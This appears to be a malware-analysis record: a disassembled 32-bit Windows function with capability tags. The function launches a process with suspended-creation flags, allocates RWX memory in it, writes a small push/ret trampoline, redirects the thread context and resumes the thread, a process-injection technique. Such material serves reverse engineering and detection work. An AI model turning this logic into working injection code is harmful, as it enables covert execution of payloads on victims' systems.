Function at 0x401e53
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Resume thread
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x430
push ebx
push esi
push edi
xor ebx, ebx
push 0x40
lea eax, [ebp - 0x5c]
push ebx
push eax
mov dword [ebp - 0x60], ebx
call sub.ntdll.dll_memset
xor eax, eax
mov dword [ebp - 0x1c], ebx
lea edi, [ebp - 0x18]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x103
stosd dword es:[edi], eax
lea eax, [ebp - 0x163]
push ebx
push eax
mov byte [ebp - 0x164], bl
call sub.ntdll.dll_memset
push 0x2c8
lea eax, [ebp - 0x42c]
push ebx
push eax
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x430], ebx
call sub.ntdll.dll_memset
add esp, 0x24
push 0x104
push dword [ebp + 8]
lea eax, [ebp - 0x164]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
xor eax, eax
mov word [ebp - 0x30], ax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push ebx
push ebx
push 0xc
push ebx
push ebx
push ebx
push dword [ebp + 0xc]
lea eax, [ebp - 0x164]
push eax
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x34], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40201d
lea eax, [ebp - 0x430]
push eax
push dword [ebp - 0x18]
mov dword [ebp - 0x430], 0x10007
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x40201d
push 0x40
push 0x3000
push 8
push ebx
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
cmp edi, ebx
je 0x40201d
push 0x10
pop eax
mov dword [ebp - 8], 0x1268ff6a
mov dword [ebp - 4], 0xc3785634
call sub.ntdll.dll__alloca_probe
mov esi, esp
cmp esi, ebx
je 0x401f6f
push 0x96
push 0xc
mov eax, esi
mov edx, 0x4065e0
call fcn.00402d34
push 8
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
cmp eax, ebx
je 0x401f8e
push 0x89
push 5
mov edx, 0x406844
call fcn.00402d34
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea ecx, [ebp + 8]
push ecx
push 8
lea ecx, [ebp - 8]
push ecx
mov dword [ebp - 5], eax
mov eax, dword [ebp - 0x1c]
push edi
push eax
mov dword [ebp + 0xc], eax
call esi
test eax, eax
jne 0x401fe4
cmp dword [ebp + 8], 8
je 0x401fe4
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12b
jne 0x401fe4
lea eax, [ebp + 8]
push eax
push 0xffffff08
lea eax, [ebp - 8]
push eax
push edi
push dword [ebp + 0xc]
call esi
push ebx
push ebx
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea eax, [ebp - 0x430]
push eax
push dword [ebp - 0x18]
mov dword [ebp - 0x380], edi
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x40201d
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x40201d
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0x18], ebx
je 0x402039
cmp dword [ebp - 0xc], ebx
jne 0x402031
push ebx
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [ebp - 0x18]
call fcn.00401e1d
cmp dword [ebp - 0x1c], ebx
je 0x402055
cmp dword [ebp - 0xc], ebx
jne 0x40204d
push ebx
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x1c]
call fcn.00401e1d
mov eax, dword [ebp - 0xc]
lea esp, [ebp - 0x43c]
pop edi
pop esi
pop ebx
leave
ret 8